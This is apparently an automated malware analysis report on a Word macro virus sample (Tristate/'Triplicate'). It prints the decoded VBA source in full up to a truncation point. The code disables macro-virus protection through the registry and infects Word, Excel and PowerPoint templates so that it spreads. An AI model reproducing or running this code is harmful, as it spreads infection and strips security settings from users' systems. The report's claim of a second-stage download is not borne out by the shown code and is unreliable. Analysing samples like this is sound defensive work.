Win.Trojan.Tristate-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 b0270b568234d9e4…

MALICIOUS

Office (OLE)

52.0 KB Created: 2002-11-20 07:00:00 Authoring application: Microsoft Word 8.0 First seen: 2020-08-10
MD5: 2af65d0f55e20b4e45d371d5f97e895c SHA-1: 9007fb5727e514081a7f56ae1adbb3445c99a81f SHA-256: b0270b568234d9e43da81afc11d9443a71ee4443472d01bc7444b5f46c2b0e5c
220 Risk Score

Malware Insights

Win.Trojan.Tristate-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1204.002 Malicious File

The sample contains VBA macros that utilize CreateObject and GetObject calls, indicative of malicious intent. The script attempts to manipulate Excel registry keys, specifically 'Options6', which is a common technique for establishing persistence or modifying application behavior. The ClamAV detection of 'Win.Trojan.Tristate-2' and 'Doc.Trojan.Tristate-1' strongly suggests a known malware family. The macro code appears to be designed to download and execute a second-stage payload, likely by modifying Excel's startup behavior.

Heuristics 4

  • ClamAV: Win.Trojan.Tristate-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Tristate-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9446 bytes
SHA-256: a196c80e8ff5547e6d34bf9347436f61b153848ef0c48675472ff3efe381249a
Detection
ClamAV: Doc.Trojan.Tristate-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'<!--1nternal-->
'Triplicate v0.21 /1nternal
Private Sub Document_Close()
    On Error Resume Next
    Options.VirusProtection = False
    Options.ConfirmConversions = False
    Options.SaveNormalPrompt = False
    Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set TT = Templates(1).VBProject.VBComponents(1).CodeModule
    Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
    If AD.Lines(1, 1) <> "'<!--1nternal-->" Then
        AD.DeleteLines 1, AD.CountofLines
        AD.InsertLines 1, TT.Lines(1, TT.CountofLines)
        If AD.Lines(1, 1) <> "'<!--1nternal-->" Then
            AD.InsertLines 1, NT.Lines(1, NT.CountofLines)
        End If
    End If
    If NT.Lines(1, 1) <> "'<!--1nternal-->" Then
        NT.DeleteLines 1, NT.CountofLines
        NT.InsertLines 1, AD.Lines(1, AD.CountofLines)
        Set xlApp = CreateObject("Excel.Application")
        If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
            System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Check"
            System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
            System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = "Whoa"
            Set Book1Obj = xlApp.Workbooks.Add
            Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines)
            Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
            Book1Obj.Close
        End If
        xlApp.Quit
        Set PPObj = CreateObject("PowerPoint.Application")
        Set PBT = PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse)
        For Each ModComponent In PBT.VBProject.VBComponents
            If ModComponent.Name = "Triplicate" Then dontadd = True
        Next
        If dontadd <> True Then
            System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
            System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\8.0\New User Settings\PowerPoint\Options", "MacroVirusProtection") = ""
            System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\PowerPoint\Options", "MacroVirusProtection") = ""
            Set NewMod = PBT.VBProject.VBComponents.Add(1)
            NewMod.Name = "Triplicate"
            NewMod.CodeModule.InsertLines 1, NT.Lines(1, NT.CountofLines)
            NewMod.CodeModule.ReplaceLine 118, "Sub actionhook(tristate)"
            Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight)
            With ShapetoWack
                .Name = "Triplicate"
                .ZOrder (1)
                .Line.Visible = False
                .Fill.Visible = False
                .ActionSettings(1).Action = 8
                .ActionSettings(1).Run = "actionhook"
            End With
            Set NewMod = Nothing
            PBT.Save
        End If
        PBT.Close
        PPObj.Quit
    End If
    If TT.Lines(1, 1) <> "'<!--1nternal-->" Then
        TT.DeleteLines 1, TT.CountofLines
        TT.InsertLines 1, NT.Lines(1, NT.CountofLines)
    End If
End Sub
Private Sub Workbook_Deactivate()
    On Error Resume Next
    Set AW = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    Set TW = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" Then
        Set WordObj = GetObject(, "Word.Application")
... (truncated)